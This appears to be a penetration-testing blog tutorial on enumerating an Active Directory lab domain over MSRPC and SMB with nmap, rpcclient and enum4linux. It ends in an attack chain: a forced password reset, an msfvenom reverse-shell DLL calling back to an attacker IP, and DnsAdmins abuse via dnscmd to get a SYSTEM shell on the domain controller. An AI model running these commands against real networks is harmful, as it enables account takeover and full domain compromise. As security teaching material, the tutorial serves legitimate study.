AD Recon – MSRPC Over SMB (135/139/445)

In this post, we will look at a few tools that we can use to enumerate MSRPC over SMB through UDP port 135, as well as TCP ports 135, 139, and 445.

We will start by learning about MSRPC, NetBIOS and SMB as well as how all three services tie together.

Enumeration will begin with an nmap scan, where we will discover all three ports of interest (135, 139, and 445) open on a domain joined Windows 10 host.

After running the nmap scan, we will quickly piggy-back off of another post on MSRPC that I wrote, and see how to dump RPC endpoints with nmap. This differs from what we saw in the other post, as nmap utilizes port 445 for this enumeration.

Moving on, we will learn how to use rpcclient to manually enumerate a LOT of information about the domain.

However, we will see that our attempts to enumerate the domain through the Windows 10 host are not effective. As a result, we will pivot our efforts onto the DC where we have better luck.

Furthermore, after manually extracting information about the domain, we will learn about a tool that can automate this process for us. That tools is enum4linux.

As a bonus, we will examine our findings and discover that we can escalate from standard user to SYSTEM on the DC!

What is MSRPC, NetBIOS and SMB?

The MSRPC service uses IPC mechanisms, such as named pipes, NetBIOS or Winsock, to establish communications between the client and the server. The IPC$ transport, TCP, UDP, and HTTP protocols are used to provide access to services. For this reason, it is important for us to understand what these services are (MSRPC / NetBIOS / named pipes (SMB)), and how they all work together when it comes to enumerating MSRPC over SMB.

MSRPC (Remote Procedure Call) – Port 135

Microsoft Remote Procedure Call (MSRPC), is a communication protocol that is used to request a service from a program located in another computer on the network. In other words, MSRPC is used to call other processes on remote systems as if it were the local system. This is done using the “client-server” or “request-response” model.

An RPC is initiated by the client, which sends a request message to a known remote server to execute a specified procedure with supplied parameters.

If you want to know how RPC works in grater detail, check out the Wikipedia page here.

The RPC endpoint mapper can be accessed through TCP and UDP port 135, through SMB (named pipes) using a null or authenticated session (TCP 139 and 445), and as a web service listening on TCP port 593. Additionally, it is common to find RPC ports open on 49xxx, which are known as the “randomly allocated high TCP ports”.

As mentioned above, RPC can utilize named pipes if SMB is open. This is HUGE for enumeration/exploitation as different named pipes allow for different operations.

MSRPC Over SMB – Named Pipes for Enumeration and Exploitation

Since SMB is virtually ALWAYS open on a Windows host, it is highly-likely that the most common way that MSRPC will be leveraged for enumeration is over SMB named pipes (through the IPC$ share). This is how most tools are setup to interact with RPC.

There are quite a few different named pipes utilized by MSRPC over SMB, they include the following:

  • \pipe\lsarpc — Local Security Authority (LSA) – enumerate privileges, trust relationships, SIDs, policies and more.
  • \pipe\samr — Local SAM Database – enumerate domain/local users, domain/local groups and more.
  • \pipe\svcctl — Service Control Manager – remotely create, start, and stop services to execute commands
  • \pipe\atsvc — Task Scheduler – remotely create scheduled tasks to execute commands
  • \pipe\epmapper — Distributed Component Object Model (DCOM) supporting Windows Management Instrumentation (WMI) – remote command execution via WMI
  • \pipe\winreg — Remote Registry Service – used to access the system registry

The focus for this post is to showcase RPC based tools that utilize port 445. However, there are many tools used to enumerate SMB that also utilize RPC. Those would be considered SMB (445) based tools, which will be discussed in another post.

For our enumeration, we will be focusing primarily on two tools: rpcclient and enum4linux.

These tools allow us to gather a lot of really good information about the host and domain such as usernames, groups, password policy, etc. due to querying MSRPC over named pipes.

NetBIOS (Network Basic Input Output System) – Port 139

Network Basic Input/Output System is an API that provides services related to the session layer of the OSI model. The primary purpose of NetBIOS is to allow applications on separate computers to communicate over a local area network (LAN).

In modern networks, NetBIOS runs over TCP/IP via the NetBIOS over TCP/IP (NBT) protocol. As a result, each computer in the network will have both an IP address and a NetBIOS name that is up to 15 characters long and usually, separate from the computer name.

NetBIOS provides three distinct services over three different ports; however, when it comes to MSRPC over SMB, we are most interested in the session service for connection-oriented communication (port: 139/tcp). This is because some techniques / tools utilize NetBIOS for RPC enumeration over port 139 similar to how port 445 is utilized in MSRPC over SMB.

SMB (Server Message Block) – Port 445

Server Message Block is a network file sharing protocol that allows applications on a computer to read and write to files and to request services from server programs across a network. This means that by using SMB, a user can access files or other resources from a remote computer.

SMB is a client/server communication protocol that provides shared access to files, whole directories, and network resources (printers, etc.). It is also used to carry transaction protocols for authenticated inter-process communication.

On modern Windows systems, SMB can run directly over TCP/IP on port 445. On other systems, we may find that some services and applications are using port 139. This means that SMB is running with NetBIOS over TCP/IP.

Various versions of SMB have been released over the years and have been made backwards-compatible. This means that devices with newer versions of Windows can easily communicate with devices that have an older Microsoft operating system installed.

SMB Default Administrative Shares

Another thing to note about MSRPC over SMB are the default administrative shares, and what they are used for. Most notably, the IPC$ share.

Administrative shares are hidden network shares that allow system administrators to have remote access to every disk volume on a network-connected system. These shares may not be permanently deleted but may be disabled. Administrative shares cannot be accessed by users without administrative privileges.

In total, there are three default (hidden) administrative shares:

  • ADMIN$ — Used during remote administration of a computer.
  • C$ — Every disk volume on the system is shared as an administrative share.
  • IPC$ — A resource that shares the named pipes that are essential for communication between programs, such as remote administration of a computer or when viewing shared resources.

Alright, now that we have a decent understanding of how MSRPC, NetBIOS, and SMB work, as well as how MSRPC utilizes both services to establish communications between the client and the server, let’s jump in and begin our enumeration!

Initial Enumeration – Nmap Scan

To begin, let’s say that we have a target Windows 10 machine with an IP address of 172.16.1.200 that we just ran a TCP scan against using nmap.

nmap -A -sV -sC -T4 172.16.1.200 -p- -oN tcp_full.nmap

From the output of the nmap scan, we can see that ports 135, 139, and 445 are open, as well as the high RPC ports.

Additionally, because the -sC (default scripts) and -A (OS detection, version detection, and script scanning) switches were used, nmap actually utilizes scripts for both SMB and NetBIOS to gather details like hostname, OS version, domain name, MAC address, and more.

Great! Now that we have determined that all of the ports of interest are open (TCP 135, 139, 445), it’s time to begin enumerating them.

Alright, we are just about ready to jump into some examples using rpcclient and enum4linux. However, before we do that, let’s quickly check out an nmap script that utilizes MSRPC over SMB.

Nmap – msrpc-enum Script

From another post I wrote on MSRPC enumeration, which can be found here, I show how to dump RPC endpoints with a tool called rpcdump.py.

Well, another tool that can be used to gather a list of RPC endpoints is nmap. The only difference is that the nmap script does NOT utilize port 135 for this enumeration. Instead, this enumeration is performed over port 445.

nmap -A -sV -sC -Pn --script=msrpc-enum 172.16.1.200 -p445

As we can see above, anonymous access was denied when targeting a domain joined Windows 10 host.

This tells us that we will need to find credentials in order to progress with any enumeration that utilizes named pipes (port 445).

It is important to note that by default, Windows 10 from version 1709+ and Server 2019 do NOT allow Guest (anonymous) access. You can learn more about the changes to anonymous SMB access here.

Since anonymous access is disabled by default on recent versions of Windows – let’s say that for the rest of the MSRPC over SMB examples, we were able to obtain a set of credentials that we can pass into our tools.

vcreed : Dfaster1!23

nmap -A -sV -sC -Pn --script=msrpc-enum 172.16.1.200 -p445 --script-args smbusername='vcreed',smbpassword='Dfaster1!23',smbdomain='juggernaut.local'

The output is much the same as what we would get when using rpcdump.py. The only difference is that nmap utilizes port 445, which was denied anonymous access in this case. Whereas rpcdump.py uses port 135, and does not require credentials to extract the same information.

Alright, now that we have seen that, let’s move on to the more interesting RPC enumeration – starting with rpcclient.

Manually Enumerating Users, Groups, and More – rpcclient

rpcclient is an excellent RPC enumeration tool that is part of the Samba suite. It is used to interact with MSRPC over named pipes (SAMR, LSARPC, and LSARPC-DS interfaces) upon establishing an SMB session.

Using rpcclient, we can enumerate a number of things such as system and OS info, user info, group info, and much more. Additionally, depending on the account’s privileges that we pass into rpcclient, we can also perform some administrative tasks, such as changing a users password or creating a new domain user.

Since rpcclient utilizes SMB, it often requires credentials to use; however, it’s always worth checking if an anonymous access is enabled when credentials haven’t been found yet.

Even though anonymous access is disabled by default, it is still ALWAYS worth checking to see if it is enabled.

We can use the following command to test for anonymous access:

rpcclient 172.16.1.200 -N

As expected, we are denied access when trying to establish an anonymous session on the Windows 10 host.

However, we did “find” credentials earlier, so let’s use those to establish an authenticated session.

rpcclient -U 'juggernaut.local/vcreed%Dfaster1!23' 172.16.1.200

Perfect! It worked, and now we have an rpcclient prompt!

Now that a session has been established, let’s see some useful commands we can use.

Limitations When Enumerating a Domain Joined Windows 10 Host

Since the Windows 10 machine is domain joined, we would assume that we can query the domain through this host, similar to how we can query the domain using the net command when a foothold has been established.

Unfortunately, this is not the case. For example, we can grab system info – cause that’s local.

srvinfo

However, when we try to gather any information about the domain, we receive an error.

Additionally, rpcclient does NOT have commands to enumerate local users or groups, so it won’t be very useful to use against the Windows 10 host.

For this reason, we’ll shift our focus on to the Domain Controller for our domain enumeration.

rpcclient -U 'juggernaut.local/vcreed%Dfaster1!23' 172.16.1.5
srvinfo

From both srvinfo outputs, we can see it says OS version is “10”, which means these machines could be running either Windows 10, Windows 11, Server 2016, Server 2019, or Server 2022.

It just so happens that the DC is running Server 2019.

Useful Rpcclient Commands for Domain Enumeration

For our rpcclient enumeration, we will be focusing on low-privileged user access and not admin access. With admin access, there is A LOT that can be done; however, our focus is to see how much we can enumerate as a standard user. The hope is to find something useful to help obtain a foothold, or escalate privileges once a foothold has been established.

We will break down the commands into sections, including domain enumeration, user enumeration, group enumeration, share enumeration, and other enumeration.

Domain Enumeration

The first thing we want to enumerate is the number of domains tied to the target.

enumdomains

Juggernaut is the only domain, which means we can run the following command to gather some quick information about it:

querydominfo

The output provides info about the number of users, groups, and total aliases as well as if there was a force logoff, and more.

Next, we can get the password policy, which is useful for setting up a targeted brute force or password spray attack.

getdompwinfo

Nice! The default password policy is applied and only requires a minimum length of seven characters. Also, three of the characters must contain either a lowercase, uppercase, number, and/or special character.

Another cool things we can pull is a list of all privileges applied across the domain (this is not the current users privileges).

enumprivs

Moving on, the next thing that we should grab is the Domain SID, which is just a unique (security) identifier used to track objects.

Everything in a domain is an object, and all objects are assigned an RID, which is another type of unique (relative) identifier. Combining the domain SID+RID provides the unique identifier (SID) for each object in the domain.

For example, we can use the following command to get the domain SID:

lookupdomain juggernaut

Alternatively, we can use another command to get the same info:

lsaquery

In addition to grabbing the domain SID, we can grab a list of SIDs belonging to LSA domain users and groups.

lsaenumsid

We can now take these SIDs and check them with the lookupsids command:

lookupsids S-1-5-21-2365897340-51848609-3160590671-1121

Finally, we can use the following command to get the ACEs applied to various security groups.

lsaquerysecobj

Again, to determine which security groups these are, we can check the SIDs with the lookupsids command.

lookupsids S-1-5-7

User Enumeration

There is a great command that we can use right out of the gate that provides a list of all the domain user’s and their hex RIDs.

enumdomusers

A cool trick we can do is take this list and create a clean users.txt file. First, copy the contents in-full into a file.

Applying some simple Linux-fu, we get a clean list that we can use for enumeration, brute force, etc.

cat users.txt | tr '[\]' ' ' | awk '{print $2}'

Continuing on, we can use another command to dump a list of all the domain users, but this one is a bit different because it includes additional information like “description”, which may contain a password.

querydispinfo

After obtaining a list of users, we can gather additional info about each user individually with the queryuser command.

Let’s take a look at our current user:

queryuser vcreed

A lot of information if provided about the user including password info and even bad PW count, which is useful to keep track of when performing a password spray attack.

Moving on, we can query all of the groups each user is a member of by supplying their RID in the following command:

queryusergroups 0x451

We can now query the group RIDs to see which groups the user is in.

querygroup 0x472
querygroup 0x201

Interesting, apart from the standard Domain Users group, we can see our current user is also a member of the Service Desk group (a custom group).

To enumerate each user’s SID, we can use the lookupnames command.

lookupnames vcreed

Finally, we can get user specific password policy information with the following:

getusrdompwinfo 0x451

Group Enumeration

Just like we saw with user enumeration, there is also a great command that we can use to provide a list of all the domain groups and their hex RIDs.

enumdomgroups

It’s important to keep an eye out for non-standard groups.

A whole additional set of groups exist on the DC, which are the Builtin Groups. We can list all of these as well as their hex RIDs, like so:

enumalsgroups builtin

Again, we want to look for non-default groups (there are none in this example); however, we also want to take a closer look at the groups outlined above.

As we saw earlier in the user enumeration section, we can query any group based on their hex RID value.

querygroup 0x200

Here we can see that two users are in the Domain Admins group. One is likely the built in administrator account, which means another user account has admin privs.

Unfortunately, we cannot query builtin groups with the querygroup command – or any command for that matter.

After finding that two users are in the Domain Admins group, we can find out who they are using the querygroupmem command.

querygroupmem 0x200

With this command we were able to obtain the RIDs of the two users in the Domain Admins group. Now we can quickly check who these users are.

queryuser 0x1f4
queryuser 0x452

As expected, one of the accounts is the built in admin account, but the other one is a domain user: nessex. This is a huge finding!

Finally, we can enumerate group SIDs the same way we did user SIDs by using the lookupnames command.

lookupnames 'Domain Admins'

Share Enumeration

Alright, almost done with rpcclient! For our final example, we will be enumerating shares.

When it comes to enumerating shares, there are two similar commands to display shares. One of them shows ALL shares and the other shows all except the default administrator shares. Since there are only three admin shares, it’s best to simply use the command that will display all of them.

netshareenumall

Here we can see a total of six shares, which includes the three admin shares (shares with ‘$’ in them).

If you guessed that the command to exclude default admin shares is netshareenum, then you would be right.

Furthermore, after having extracted a list of shares, we can check the permissions (ACEs) associated with any share listed above. For example:

netsharegetinfo confidential

The output tells us a few important things about this share, such as file path on the actual system and ACEs directly applied to this folder.

Moreover, the ACEs provide us with an SID and the given permissions applied to the user or group to which the SID belongs.

Similar to how we looked up SIDs earlier, we can quickly check these SIDs to see who/what they belong to. If we delimit the SIDs using a space, we can enumerate all of them in a single command:

lookupsids S-1-1-0 S-1-5-21-2365897340-51848609-3160590671-1114 S-1-5-21-2365897340-51848609-3160590671-500 S-1-5-32-544 S-1-5-21-2365897340-51848609-3160590671-513

Something we should look for, which is not present in this example, is write access for any non-administrator user / group.

Indeed, this proves that rpcclient is a very powerful tool for us attackers.

Next, we will see another great tool that automates a lot of MSRPC enumeration we just saw using rpcclient, and more!

Automated Enumeration of Users, Groups, and More – enum4linux

Now that we have seen how to manually enumerate a lot of good information about the domain using rpcclient. Let’s shift our focus to an automated tool that does most, if not all of the same enumeration for us. That tool is enum4linux.

Enum4linux comes pre-packaged with Kali, but if for some reason you don’t have it, you can be download it from here.

Enum4linux is a powerful tool (script written in perl) that enumerates MS-RPC as well as LDAP and NBT-NS. This is possible because the script is essentially just a wrapper around four Samba tools: nmblookup, net, rpcclient and smbclient.

Because this script utilizes multiple tools, it allows us to gather additional information that we weren’t able to get using rpcclient alone.

There are a lot of different options (switches) that can be applied when running enum4linux, but for this example, we are going to be utilizing the -a switch.

enum4linux -h

Great! Now that we have see all the possible switches we can use, all that is left to do is actually run the script and see what we find.

Its a good idea to test enum4linux before you find credentials as it will help you quickly gauge how far anonymous access will get you.

enum4linux -a -u 'juggernaut.local\vcreed' -p 'Dfaster1!23' 172.16.1.5

Damn! That’s a lot of great information. Moreover, about 90% of it was gathered using rpcclient alone.

The nice thing about enum4linux using more tools than just rpcclient, is that it provides us information about local and builtin groups, users, and group members. This is hugely beneficial to us as it reveals which users are able to access the DC via RDP or WinRM, and more.

Bonus – From Service Desk to Domain Admin

From the enumeration above, a few hints were provided for a potential vulnerability that can be exploited using rpcclient.

We can see that there is a Service Desk group and our current user “vcreed” is a member of that group. Very often, when we find an “IT support” type of custom group (or user) with Help Desk, Service Desk, Support, IT, etc. in their name, there’s a pretty good chance that the group / user will have delegate privileges that allow them to force a password reset.

Furthermore, it is common for these privileges to be loosely applied – due to many bad tutorials on the internet – providing the user the rights to not only reset passwords, but also change them!

If we wanted to be thorough, we could confirm this suspicion using a tool called bloodhound; however, for this example we will assume that our hunch is correct and that our current user can change other users passwords.

This is a huge break for us as attackers because, we can likely change any user’s password. Just so long as they are not in the Domain Admins group.

Standard users with Change Password privileges are not able to change admin users passwords.

Changing a User’s Password with Rpcclient

Referencing our enum4linux output, we can see that user nessex is off limits because he is a DA. However, we have two other users that are members of interesting groups that provide an avenue to obtain a foothold on the DC.

We could either change the password of cmarko, who is in the Remote Management Users Group, and can access the DC with a WinRM session. Alternatively, we could change the password of meisenhardt, a user that is in the Remote Desktop Users group, and can RDP into the DC with a GUI session.

For this example, we will go with mesienhardt and the GUI session. Only because this user is also in the DnsAdmins group, which is interesting.

First, we need to jump into an rpcclient session.

rpcclient -U 'juggernaut.local/vcreed%Dfaster1!23' 172.16.1.5

Then, all we need to do is issue the following command and we will be able to change the user password to whatever we want.

For this example, we will keep it simple and use Password123 since it complies with the password policy we enumerated.

setuserinfo2 meisenhardt 23 Password123

As we can see from the output there was no error, which indicates that the command was successful.

Getting a Foothold on the DC

To confirm that the password change worked, we can quickly drop out of the rpcclient session and check if the new password is valid using crackmapexec.

crackmapexec smb 172.16.1.5 -u 'meisenhardt' -p 'Password123'

Seeing the [+] indicates that the credentials are accurate, and tells us the password change was indeed successful!

Because this user is in the RDP Group, we are now be able to spin up an RDP session and obtain a foothold on the DC.

sudo xfreerdp /u:meisenhardt /p:Password123 /d:juggernaut.local /v:172.16.1.5 +clipboard

Privilege Escalation from Domain User to SYSTEM – DnsAdmins Group

After changing meiseinhardt’s password, obtaining a foothold on the DC, and confirming that we are in the DnsAdmins group, we can now proceed to exploit this privilege (group membership) and escalate from standard user to SYSTEM.

To begin, we need to craft a malicious DLL on our attacker machine. This can easily be done using msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f dll > dns.dll

Cool! With our payload ready to go, the next thing we need to do is either transfer the file onto the victim, or host it in a share. For simplicity, we will host this in a share.

smbserver.py share $(pwd) -smb2support

Alright, at this point we have crafted our malicious DLL and started an SMB share named “share” from the same directory that our malicious DLL is located.

Next, we need to start a netcat listener on our attacker machine to catch the SYSTEM shell when it comes in.

nc -nvlp 443

Heading back to our RDP session on the target, all we have to do now is run a command that will add an entry into the registry (point to our malicious DLL) and then restart the service.

dnscmd \\Juggernaut-DC /config /serverlevelplugindll \\172.16.1.30\share\dns.dll

We can confirm that the registry key was created with the following command:

reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters"

Perfect! Everything looks great. Now, let’s quickly restart the service.

sc.exe \\Juggernaut-DC stop dns
sc.exe \\Juggernaut-DC start dns

And then back on our listener, we can see that a SYSTEM shell has just checked in!!

Amazing! From our initial enumeration over MSRPC, we were able to gather enough information to horizontally escalate to another user, and then escalate to SYSTEM.

Final Thoughts

Enumeration is very cyclical. We as attackers should try to target every AD service we can anonymously until we get lucky. Hopefully one service will grant anonymous access and provide some means to obtain user credentials. Once credentials are obtained, we should circle back and test them on the same services we failed to access anonymously.

From the above, we can see how important MSRPC enumeration is for us as attackers. With tools like rpcclient and enum4linux, we are able to remotely extract a great deal of information; however, it is important to be able to digest the output. As seen in the bonus, by thinking like an attacker, we were able to use the output from enum4linux to escalate our privileges all the way to the highest level – SYSTEM on the DC.

Want to stay up to date with the latest hacks?

By entering your email address you will receive a notification every time a new post drops!